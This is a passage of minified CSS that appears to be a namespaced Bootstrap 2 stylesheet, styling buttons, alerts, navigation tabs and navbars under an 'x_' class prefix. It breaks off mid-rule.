.x_btn-danger.x_disabled,.x .x_btn-danger[disabled]{color:#fff;background-color:#bd362f;*background-color:#a9302a;}.x .x_btn-danger:active,.x .x_btn-danger.x_active{background-color:#942a25 \9}.x .x_btn-success{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#5bb75b;*background-color:#51a351;background-image:-moz-linear-gradient(top,#62c462,#51a351);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#51a351));background-image:-webkit-linear-gradient(top,#62c462,#51a351);background-image:-o-linear-gradient(top,#62c462,#51a351);background-image:linear-gradient(to bottom,#62c462,#51a351);background-repeat:repeat-x;border-color:#51a351 #51a351 #387038;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462',endColorstr='#51a351',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_btn-success:hover,.x .x_btn-success:active,.x .x_btn-success.x_active,.x .x_btn-success.x_disabled,.x .x_btn-success[disabled]{color:#fff;background-color:#51a351;*background-color:#499249;}.x .x_btn-success:active,.x .x_btn-success.x_active{background-color:#408140 \9}.x .x_btn-info{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#49afcd;*background-color:#2f96b4;background-image:-moz-linear-gradient(top,#5bc0de,#2f96b4);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#2f96b4));background-image:-webkit-linear-gradient(top,#5bc0de,#2f96b4);background-image:-o-linear-gradient(top,#5bc0de,#2f96b4);background-image:linear-gradient(to bottom,#5bc0de,#2f96b4);background-repeat:repeat-x;border-color:#2f96b4 #2f96b4 #1f6377;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de',endColorstr='#2f96b4',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_btn-info:hover,.x .x_btn-info:active,.x .x_btn-info.x_active,.x .x_btn-info.x_disabled,.x .x_btn-info[disabled]{color:#fff;background-color:#2f96b4;*background-color:#2a85a0;}.x .x_btn-info:active,.x .x_btn-info.x_active{background-color:#24748c \9}.x .x_btn-inverse{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#363636;*background-color:#222;background-image:-moz-linear-gradient(top,#444,#222);background-image:-webkit-gradient(linear,0 0,0 100%,from(#444),to(#222));background-image:-webkit-linear-gradient(top,#444,#222);background-image:-o-linear-gradient(top,#444,#222);background-image:linear-gradient(to bottom,#444,#222);background-repeat:repeat-x;border-color:#222 #222 #000;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#444444',endColorstr='#222222',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_btn-inverse:hover,.x .x_btn-inverse:active,.x .x_btn-inverse.x_active,.x .x_btn-inverse.x_disabled,.x .x_btn-inverse[disabled]{color:#fff;background-color:#222;*background-color:#151515;}.x .x_btn-inverse:active,.x .x_btn-inverse.x_active{background-color:#080808 \9}.x button.x_btn,.x input[type="submit"].x_btn{*padding-top:3px;*padding-bottom:3px;}.x button.x_btn::-moz-focus-inner,.x input[type="submit"].x_btn::-moz-focus-inner{padding:0;border:0}.x button.x_btn.x_btn-large,.x input[type="submit"].x_btn.x_btn-large{*padding-top:7px;*padding-bottom:7px;}.x button.x_btn.x_btn-small,.x input[type="submit"].x_btn.x_btn-small{*padding-top:3px;*padding-bottom:3px;}.x button.x_btn.x_btn-mini,.x input[type="submit"].x_btn.x_btn-mini{*padding-top:1px;*padding-bottom:1px;}.x .x_btn-link,.x .x_btn-link:active,.x .x_btn-link[disabled]{background-color:transparent;background-image:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.x .x_btn-link{color:#08c;cursor:pointer;border-color:transparent;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_btn-link:hover{color:#005580;text-decoration:underline;background-color:transparent}.x .x_btn-link[disabled]:hover{color:#333;text-decoration:none}.x .x_btn-group{position:relative;display:inline-block;*display:inline;*margin-left:.3em;font-size:0;white-space:nowrap;vertical-align:middle;*zoom:1;}.x .x_btn-group:first-child{*margin-left:0;}.x .x_btn-group+.x_btn-group{margin-left:5px}.x .x_btn-toolbar{margin-top:10px;margin-bottom:10px;font-size:0}.x .x_btn-toolbar>.x_btn+.x_btn,.x .x_btn-toolbar>.x_btn-group+.x_btn,.x .x_btn-toolbar>.x_btn+.x_btn-group{margin-left:5px}.x .x_btn-group>.x_btn{position:relative;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_btn-group>.x_btn+.x_btn{margin-left:-1px}.x .x_btn-group>.x_btn,.x .x_btn-group>.x_dropdown-menu,.x .x_btn-group>.x_popover{font-size:14px}.x .x_btn-group>.x_btn-mini{font-size:10.5px}.x .x_btn-group>.x_btn-small{font-size:11.9px}.x .x_btn-group>.x_btn-large{font-size:17.5px}.x .x_btn-group>.x_btn:first-child{margin-left:0;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-bottomleft:4px;-moz-border-radius-topleft:4px}.x .x_btn-group>.x_btn:last-child,.x .x_btn-group>.x_dropdown-toggle{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-bottomright:4px}.x .x_btn-group>.x_btn.x_large:first-child{margin-left:0;-webkit-border-bottom-left-radius:6px;border-bottom-left-radius:6px;-webkit-border-top-left-radius:6px;border-top-left-radius:6px;-moz-border-radius-bottomleft:6px;-moz-border-radius-topleft:6px}.x .x_btn-group>.x_btn.x_large:last-child,.x .x_btn-group>.x_large.x_dropdown-toggle{-webkit-border-top-right-radius:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;border-bottom-right-radius:6px;-moz-border-radius-topright:6px;-moz-border-radius-bottomright:6px}.x .x_btn-group>.x_btn:hover,.x .x_btn-group>.x_btn:focus,.x .x_btn-group>.x_btn:active,.x .x_btn-group>.x_btn.x_active{z-index:2}.x .x_btn-group .x_dropdown-toggle:active,.x .x_btn-group.x_open .x_dropdown-toggle{outline:0}.x .x_btn-group>.x_btn+.x_dropdown-toggle{*padding-top:5px;padding-right:8px;*padding-bottom:5px;padding-left:8px;-webkit-box-shadow:inset 1px 0 0 rgba(255,255,255,.125),inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 1px 0 0 rgba(255,255,255,.125),inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 1px 0 0 rgba(255,255,255,.125),inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05)}.x .x_btn-group>.x_btn-mini+.x_dropdown-toggle{*padding-top:2px;padding-right:5px;*padding-bottom:2px;padding-left:5px}.x .x_btn-group>.x_btn-small+.x_dropdown-toggle{*padding-top:5px;*padding-bottom:4px;}.x .x_btn-group>.x_btn-large+.x_dropdown-toggle{*padding-top:7px;padding-right:12px;*padding-bottom:7px;padding-left:12px}.x .x_btn-group.x_open .x_dropdown-toggle{background-image:none;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05)}.x .x_btn-group.x_open .x_btn.x_dropdown-toggle{background-color:#e6e6e6}.x .x_btn-group.x_open .x_btn-primary.x_dropdown-toggle{background-color:#04c}.x .x_btn-group.x_open .x_btn-warning.x_dropdown-toggle{background-color:#f89406}.x .x_btn-group.x_open .x_btn-danger.x_dropdown-toggle{background-color:#bd362f}.x .x_btn-group.x_open .x_btn-success.x_dropdown-toggle{background-color:#51a351}.x .x_btn-group.x_open .x_btn-info.x_dropdown-toggle{background-color:#2f96b4}.x .x_btn-group.x_open .x_btn-inverse.x_dropdown-toggle{background-color:#222}.x .x_btn .x_caret{margin-top:8px;margin-left:0}.x .x_btn-mini .x_caret,.x .x_btn-small .x_caret,.x .x_btn-large .x_caret{margin-top:6px}.x .x_btn-large .x_caret{border-top-width:5px;border-right-width:5px;border-left-width:5px}.x .x_dropup .x_btn-large .x_caret{border-bottom-width:5px}.x .x_btn-primary .x_caret,.x .x_btn-warning .x_caret,.x .x_btn-danger .x_caret,.x .x_btn-info .x_caret,.x .x_btn-success .x_caret,.x .x_btn-inverse .x_caret{border-top-color:#fff;border-bottom-color:#fff}.x .x_btn-group-vertical{display:inline-block;*display:inline;*zoom:1;}.x .x_btn-group-vertical>.x_btn{display:block;float:none;max-width:100%;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_btn-group-vertical>.x_btn+.x_btn{margin-top:-1px;margin-left:0}.x .x_btn-group-vertical>.x_btn:first-child{-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.x .x_btn-group-vertical>.x_btn:last-child{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px}.x .x_btn-group-vertical>.x_btn-large:first-child{-webkit-border-radius:6px 6px 0 0;-moz-border-radius:6px 6px 0 0;border-radius:6px 6px 0 0}.x .x_btn-group-vertical>.x_btn-large:last-child{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px}.x .x_alert{padding:8px 35px 8px 14px;margin-bottom:20px;text-shadow:0 1px 0 rgba(255,255,255,.5);background-color:#fcf8e3;border:1px solid #fbeed5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x .x_alert,.x .x_alert h4{color:#c09853}.x .x_alert h4{margin:0}.x .x_alert .x_close{position:relative;top:-2px;right:-21px;line-height:20px}.x .x_alert-success{color:#468847;background-color:#dff0d8;border-color:#d6e9c6}.x .x_alert-success h4{color:#468847}.x .x_alert-danger,.x .x_alert-error{color:#b94a48;background-color:#f2dede;border-color:#eed3d7}.x .x_alert-danger h4,.x .x_alert-error h4{color:#b94a48}.x .x_alert-info{color:#3a87ad;background-color:#d9edf7;border-color:#bce8f1}.x .x_alert-info h4{color:#3a87ad}.x .x_alert-block{padding-top:14px;padding-bottom:14px}.x .x_alert-block>p,.x .x_alert-block>ul{margin-bottom:0}.x .x_alert-block p+p{margin-top:5px}.x .x_nav{margin-bottom:20px;margin-left:0;list-style:none}.x .x_nav>li>a{display:block}.x .x_nav>li>a:hover{text-decoration:none;background-color:#eee}.x .x_nav>li>a>img{max-width:none}.x .x_nav>.x_pull-right{float:right}.x .x_nav-header{display:block;padding:3px 15px;font-size:11px;font-weight:bold;line-height:20px;color:#999;text-shadow:0 1px 0 rgba(255,255,255,.5);text-transform:uppercase}.x .x_nav li+.x_nav-header{margin-top:9px}.x .x_nav-list{padding-right:15px;padding-left:15px;margin-bottom:0}.x .x_nav-list>li>a,.x .x_nav-list .x_nav-header{margin-right:-15px;margin-left:-15px;text-shadow:0 1px 0 rgba(255,255,255,.5)}.x .x_nav-list>li>a{padding:3px 15px}.x .x_nav-list>.x_active>a,.x .x_nav-list>.x_active>a:hover{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.2);background-color:#08c}.x .x_nav-list [class^="x_icon-"],.x .x_nav-list [class*=" x_icon-"]{margin-right:2px}.x .x_nav-list .x_divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #fff}.x .x_nav-tabs,.x .x_nav-pills{*zoom:1;}.x .x_nav-tabs:before,.x .x_nav-pills:before,.x .x_nav-tabs:after,.x .x_nav-pills:after{display:table;line-height:0;content:""}.x .x_nav-tabs:after,.x .x_nav-pills:after{clear:both}.x .x_nav-tabs>li,.x .x_nav-pills>li{float:left}.x .x_nav-tabs>li>a,.x .x_nav-pills>li>a{padding-right:12px;padding-left:12px;margin-right:2px;line-height:14px}.x .x_nav-tabs{border-bottom:1px solid #ddd}.x .x_nav-tabs>li{margin-bottom:-1px}.x .x_nav-tabs>li>a{padding-top:8px;padding-bottom:8px;line-height:20px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.x .x_nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.x .x_nav-tabs>.x_active>a,.x .x_nav-tabs>.x_active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.x .x_nav-pills>li>a{padding-top:8px;padding-bottom:8px;margin-top:2px;margin-bottom:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.x .x_nav-pills>.x_active>a,.x .x_nav-pills>.x_active>a:hover{color:#fff;background-color:#08c}.x .x_nav-stacked>li{float:none}.x .x_nav-stacked>li>a{margin-right:0}.x .x_nav-tabs.x_nav-stacked{border-bottom:0}.x .x_nav-tabs.x_nav-stacked>li>a{border:1px solid #ddd;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_nav-tabs.x_nav-stacked>li:first-child>a{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-topleft:4px}.x .x_nav-tabs.x_nav-stacked>li:last-child>a{-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-moz-border-radius-bottomright:4px;-moz-border-radius-bottomleft:4px}.x .x_nav-tabs.x_nav-stacked>li>a:hover{z-index:2;border-color:#ddd}.x .x_nav-pills.x_nav-stacked>li>a{margin-bottom:3px}.x .x_nav-pills.x_nav-stacked>li:last-child>a{margin-bottom:1px}.x .x_nav-tabs .x_dropdown-menu{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px}.x .x_nav-pills .x_dropdown-menu{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.x .x_nav .x_dropdown-toggle .x_caret{margin-top:6px;border-top-color:#08c;border-bottom-color:#08c}.x .x_nav .x_dropdown-toggle:hover .x_caret{border-top-color:#005580;border-bottom-color:#005580}.x .x_nav-tabs .x_dropdown-toggle .x_caret{margin-top:8px}.x .x_nav .x_active .x_dropdown-toggle .x_caret{border-top-color:#fff;border-bottom-color:#fff}.x .x_nav-tabs .x_active .x_dropdown-toggle .x_caret{border-top-color:#555;border-bottom-color:#555}.x .x_nav>.x_dropdown.x_active>a:hover{cursor:pointer}.x .x_nav-tabs .x_open .x_dropdown-toggle,.x .x_nav-pills .x_open .x_dropdown-toggle,.x .x_nav>li.x_dropdown.x_open.x_active>a:hover{color:#fff;background-color:#999;border-color:#999}.x .x_nav li.x_dropdown.x_open .x_caret,.x .x_nav li.x_dropdown.x_open.x_active .x_caret,.x .x_nav li.x_dropdown.x_open a:hover .x_caret{border-top-color:#fff;border-bottom-color:#fff;opacity:1;filter:alpha(opacity=100)}.x .x_tabs-stacked .x_open>a:hover{border-color:#999}.x .x_tabbable{*zoom:1;}.x .x_tabbable:before,.x .x_tabbable:after{display:table;line-height:0;content:""}.x .x_tabbable:after{clear:both}.x .x_tab-content{overflow:auto}.x .x_tabs-below>.x_nav-tabs,.x .x_tabs-right>.x_nav-tabs,.x .x_tabs-left>.x_nav-tabs{border-bottom:0}.x .x_tab-content>.x_tab-pane,.x .x_pill-content>.x_pill-pane{display:none}.x .x_tab-content>.x_active,.x .x_pill-content>.x_active{display:block}.x .x_tabs-below>.x_nav-tabs{border-top:1px solid #ddd}.x .x_tabs-below>.x_nav-tabs>li{margin-top:-1px;margin-bottom:0}.x .x_tabs-below>.x_nav-tabs>li>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px}.x .x_tabs-below>.x_nav-tabs>li>a:hover{border-top-color:#ddd;border-bottom-color:transparent}.x .x_tabs-below>.x_nav-tabs>.x_active>a,.x .x_tabs-below>.x_nav-tabs>.x_active>a:hover{border-color:transparent #ddd #ddd #ddd}.x .x_tabs-left>.x_nav-tabs>li,.x .x_tabs-right>.x_nav-tabs>li{float:none}.x .x_tabs-left>.x_nav-tabs>li>a,.x .x_tabs-right>.x_nav-tabs>li>a{min-width:74px;margin-right:0;margin-bottom:3px}.x .x_tabs-left>.x_nav-tabs{float:left;margin-right:19px;border-right:1px solid #ddd}.x .x_tabs-left>.x_nav-tabs>li>a{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px}.x .x_tabs-left>.x_nav-tabs>li>a:hover{border-color:#eee #ddd #eee #eee}.x .x_tabs-left>.x_nav-tabs .x_active>a,.x .x_tabs-left>.x_nav-tabs .x_active>a:hover{border-color:#ddd transparent #ddd #ddd;*border-right-color:#fff;}.x .x_tabs-right>.x_nav-tabs{float:right;margin-left:19px;border-left:1px solid #ddd}.x .x_tabs-right>.x_nav-tabs>li>a{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.x .x_tabs-right>.x_nav-tabs>li>a:hover{border-color:#eee #eee #eee #ddd}.x .x_tabs-right>.x_nav-tabs .x_active>a,.x .x_tabs-right>.x_nav-tabs .x_active>a:hover{border-color:#ddd #ddd #ddd transparent;*border-left-color:#fff;}.x .x_nav>.x_disabled>a{color:#999}.x .x_nav>.x_disabled>a:hover{text-decoration:none;cursor:default;background-color:transparent}.x .x_navbar{*position:relative;*z-index:2;margin-bottom:20px;overflow:visible}.x .x_navbar-inner{min-height:40px;padding-right:20px;padding-left:20px;background-color:#fafafa;background-image:-moz-linear-gradient(top,#fff,#f2f2f2);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#f2f2f2));background-image:-webkit-linear-gradient(top,#fff,#f2f2f2);background-image:-o-linear-gradient(top,#fff,#f2f2f2);background-image:linear-gradient(to bottom,#fff,#f2f2f2);background-repeat:repeat-x;border:1px solid #d4d4d4;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#f2f2f2',GradientType=0);*zoom:1;-webkit-box-shadow:0 1px 4px rgba(0,0,0,.065);-moz-box-shadow:0 1px 4px rgba(0,0,0,.065);box-shadow:0 1px 4px rgba(0,0,0,.065)}.x .x_navbar-inner:before,.x .x_navbar-inner:after{display:table;line-height:0;content:""}.x .x_navbar-inner:after{clear:both}.x .x_navbar .x_container{width:auto}.x .x_nav-collapse.x_collapse{height:auto;overflow:visible}.x .x_navbar .x_brand{display:block;float:left;padding:10px 20px 10px;margin-left:-20px;font-size:20px;font-weight:200;color:#777;text-shadow:0 1px 0 #fff}.x .x_navbar .x_brand:hover{text-decoration:none}.x .x_navbar-text{margin-bottom:0;line-height:40px;color:#777}.x .x_navbar-link{color:#777}.x .x_navbar-link:hover{color:#333}.x .x_navbar .x_divider-vertical{height:40px;margin:0 9px;border-right:1px solid #fff;border-left:1px solid #f2f2f2}.x .x_navbar .x_btn,.x .x_navbar .x_btn-group{margin-top:5px}.x .x_navbar .x_btn-group .x_btn,.x .x_navbar .x_input-prepend .x_btn,.x .x_navbar .x_input-append .x_btn{margin-top:0}.x .x_navbar-form{margin-bottom:0;*zoom:1;}.x .x_navbar-form:before,.x .x_navbar-form:after{display:table;line-height:0;content:""}.x .x_navbar-form:after{clear:both}.x .x_navbar-form input,.x .x_navbar-form select,.x .x_navbar-form .x_radio,.x .x_navbar-form .x_checkbox{margin-top:5px}.x .x_navbar-form input,.x .x_navbar-form select,.x .x_navbar-form .x_btn{display:inline-block;margin-bottom:0}.x .x_navbar-form input[type="image"],.x .x_navbar-form input[type="checkbox"],.x .x_navbar-form input[type="radio"]{margin-top:3px}.x .x_navbar-form .x_input-append,.x .x_navbar-form .x_input-prepend{margin-top:5px;white-space:nowrap}.x .x_navbar-form .x_input-append input,.x .x_navbar-form .x_input-prepend input{margin-top:0}.x .x_navbar-search{position:relative;float:left;margin-top:5px;margin-bottom:0}.x .x_navbar-search .x_search-query{padding:4px 14px;margin-bottom:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:1;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px}.x .x_navbar-static-top{position:static;margin-bottom:0}.x .x_navbar-static-top .x_navbar-inner{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_navbar-fixed-top,.x .x_navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030;margin-bottom:0}.x .x_navbar-fixed-top .x_navbar-inner,.x .x_navbar-static-top .x_navbar-inner{border-width:0 0 1px}.x .x_navbar-fixed-bottom .x_navbar-inner{border-width:1px 0 0}.x .x_navbar-fixed-top .x_navbar-inner,.x .x_navbar-fixed-bottom .x_navbar-inner{padding-right:0;padding-left:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_navbar-static-top .x_container,.x .x_navbar-fixed-top .x_container,.x .x_navbar-fixed-bottom .x_container{width:940px}.x .x_navbar-fixed-top{top:0}.x .x_navbar-fixed-top .x_navbar-inner,.x .x_navbar-static-top .x_navbar-inner{-webkit-box-shadow:0 1px 10px rgba(0,0,0,.1);-moz-box-shadow:0 1px 10px rgba(0,0,0,.1);box-shadow:0 1px 10px rgba(0,0,0,.1)}.x .x_navbar-fixed-bottom{bottom:0}.x .x_navbar-fixed-bottom .x_navbar-inner{-webkit-box-shadow:0 -1px 10px rgba(0,0,0,.1);-moz-box-shadow:0 -1px 10px rgba(0,0,0,.1);box-shadow:0 -1px 10px rgba(0,0,0,.1)}.x .x_navbar .x_nav{position:relative;left:0;display:block;float:left;margin:0 10px 0 0}.x .x_navbar .x_nav.x_pull-right{float:right;margin-right:0}.x .x_navbar .x_nav>li{float:left}.x .x_navbar .x_nav>li>a{float:none;padding:10px 15px 10px;color:#777;text-decoration:none;text-shadow:0 1px 0 #fff}.x .x_navbar .x_nav .x_dropdown-toggle .x_caret{margin-top:8px}.x .x_navbar .x_nav>li>a:focus,.x .x_navbar .x_nav>li>a:hover{color:#333;text-decoration:none;background-color:transparent}.x .x_navbar .x_nav>.x_active>a,.x .x_navbar .x_nav>.x_active>a:hover,.x .x_navbar .x_nav>.x_active>a:focus{color:#555;text-decoration:none;background-color:#e5e5e5;-webkit-box-shadow:inset 0 3px 8px rgba(0,0,0,.125);-moz-box-shadow:inset 0 3px 8px rgba(0,0,0,.125);box-shadow:inset 0 3px 8px rgba(0,0,0,.125)}.x .x_navbar .x_btn-navbar{display:none;float:right;padding:7px 10px;margin-right:5px;margin-left:5px;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#ededed;*background-color:#e5e5e5;background-image:-moz-linear-gradient(top,#f2f2f2,#e5e5e5);background-image:-webkit-gradient(linear,0 0,0 100%,from(#f2f2f2),to(#e5e5e5));background-image:-webkit-linear-gradient(top,#f2f2f2,#e5e5e5);background-image:-o-linear-gradient(top,#f2f2f2,#e5e5e5);background-image:linear-gradient(to bottom,#f2f2f2,#e5e5e5);background-repeat:repeat-x;border-color:#e5e5e5 #e5e5e5 #bfbfbf;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f2f2',endColorstr='#e5e5e5',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.075);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.075)}.x .x_navbar .x_btn-navbar:hover,.x .x_navbar .x_btn-navbar:active,.x .x_navbar .x_btn-navbar.x_active,.x .x_navbar .x_btn-navbar.x_disabled,.x .x_navbar .x_btn-navbar[disabled]{color:#fff;background-color:#e5e5e5;*background-color:#d9d9d9;}.x .x_navbar .x_btn-navbar:active,.x .x_navbar .x_btn-navbar.x_active{background-color:#ccc \9}.x .x_navbar .x_btn-navbar .x_icon-bar{display:block;width:18px;height:2px;background-color:#f5f5f5;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 1px 0 rgba(0,0,0,.25);-moz-box-shadow:0 1px 0 rgba(0,0,0,.25);box-shadow:0 1px 0 rgba(0,0,0,.25)}.x .x_btn-navbar .x_icon-bar+.x_icon-bar{margin-top:3px}.x .x_navbar .x_nav>li>.x_dropdown-menu:before{position:absolute;top:-7px;left:9px;display:inline-block;border-right:7px solid transparent;border-bottom:7px solid #ccc;border-left:7px solid transparent;border-bottom-color:rgba(0,0,0,.2);content:''}.x .x_navbar .x_nav>li>.x_dropdown-menu:after{position:absolute;top:-6px;left:10px;display:inline-block;border-right:6px solid transparent;border-bottom:6px solid #fff;border-left:6px solid transparent;content:''}.x .x_navbar-fixed-bottom .x_nav>li>.x_dropdown-menu:before{top:auto;bottom:-7px;border-top:7px solid #ccc;border-bottom:0;border-top-color:rgba(0,0,0,.2)}.x .x_navbar-fixed-bottom .x_nav>li>.x_dropdown-menu:after{top:auto;bottom:-6px;border-top:6px solid #fff;border-bottom:0}.x .x_navbar .x_nav li.x_dropdown>a:hover .x_caret{border-top-color:#555;border-bottom-color:#555}.x .x_navbar .x_nav li.x_dropdown.x_open>.x_dropdown-toggle,.x .x_navbar .x_nav li.x_dropdown.x_active>.x_dropdown-toggle,.x .x_navbar .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle{color:#555;background-color:#e5e5e5}.x .x_navbar .x_nav li.x_dropdown>.x_dropdown-toggle .x_caret{border-top-color:#777;border-bottom-color:#777}.x .x_navbar .x_nav li.x_dropdown.x_open>.x_dropdown-toggle .x_caret,.x .x_navbar .x_nav li.x_dropdown.x_active>.x_dropdown-toggle .x_caret,.x .x_navbar .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle .x_caret{border-top-color:#555;border-bottom-color:#555}.x .x_navbar .x_pull-right>li>.x_dropdown-menu,.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right{right:0;left:auto}.x .x_navbar .x_pull-right>li>.x_dropdown-menu:before,.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right:before{right:12px;left:auto}.x .x_navbar .x_pull-right>li>.x_dropdown-menu:after,.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right:after{right:13px;left:auto}.x .x_navbar .x_pull-right>li>.x_dropdown-menu .x_dropdown-menu,.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right .x_dropdown-menu{right:100%;left:auto;margin-right:-1px;margin-left:0;-webkit-border-radius:6px 0 6px 6px;-moz-border-radius:6px 0 6px 6px;border-radius:6px 0 6px 6px}.x .x_navbar-inverse .x_navbar-inner{background-color:#1b1b1b;background-image:-moz-linear-gradient(top,#222,#111);background-image:-webkit-gradient(linear,0 0,0 100%,from(#222),to(#111));background-image:-webkit-linear-gradient(top,#222,#111);background-image:-o-linear-gradient(top,#222,#111);background-image:linear-gradient(to bottom,#222,#111);background-repeat:repeat-x;border-color:#252525;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#222222',endColorstr='#111111',GradientType=0)}.x .x_navbar-inverse .x_brand,.x .x_navbar-inverse .x_nav>li>a{color:#999;text-shadow:0 -1px 0 rgba(0,0,0,.25)}.x .x_navbar-inverse .x_brand:hover,.x .x_navbar-inverse .x_nav>li>a:hover{color:#fff}.x .x_navbar-inverse .x_brand{color:#999}.x .x_navbar-inverse .x_navbar-text{color:#999}.x .x_navbar-inverse .x_nav>li>a:focus,.x .x_navbar-inverse .x_nav>li>a:hover{color:#fff;background-color:transparent}.x .x_navbar-inverse .x_nav .x_active>a,.x .x_navbar-inverse .x_nav .x_active>a:hover,.x .x_navbar-inverse .x_nav .x_active>a:focus{color:#fff;background-color:#111}.x .x_navbar-inverse .x_navbar-link{color:#999}.x .x_navbar-inverse .x_navbar-link:hover{color:#fff}.x .x_navbar-inverse .x_divider-vertical{border-right-color:#222;border-left-color:#111}.x .x_navbar-inverse .x_nav li.x_dropdown.x_open>.x_dropdown-toggle,.x .x_navbar-inverse .x_nav li.x_dropdown.x_active>.x_dropdown-toggle,.x .x_navbar-inverse .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle{color:#fff;background-color:#111}.x .x_navbar-inverse .x_nav li.x_dropdown>a:hover .x_caret{border-top-color:#fff;border-bottom-color:#fff}.x .x_navbar-inverse .x_nav li.x_dropdown>.x_dropdown-toggle .x_caret{border-top-color:#999;border-bottom-color:#999}.x .x_navbar-inverse .x_nav li.x_dropdown.x_open>.x_dropdown-toggle .x_caret,.x .x_navbar-inverse .x_nav li.x_dropdown.x_active>.x_dropdown-toggle .x_caret,.x .x_navbar-inverse .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle .x_caret{border-top-color:#fff;border-bottom-color:#fff}.x .x_navbar-inverse .x_navbar-search .x_search-query{color:#fff;background-color:#515151;border-color:#111;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1),0 1px 0 rgba(255,255,255,.15);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,.1),0 1px 0 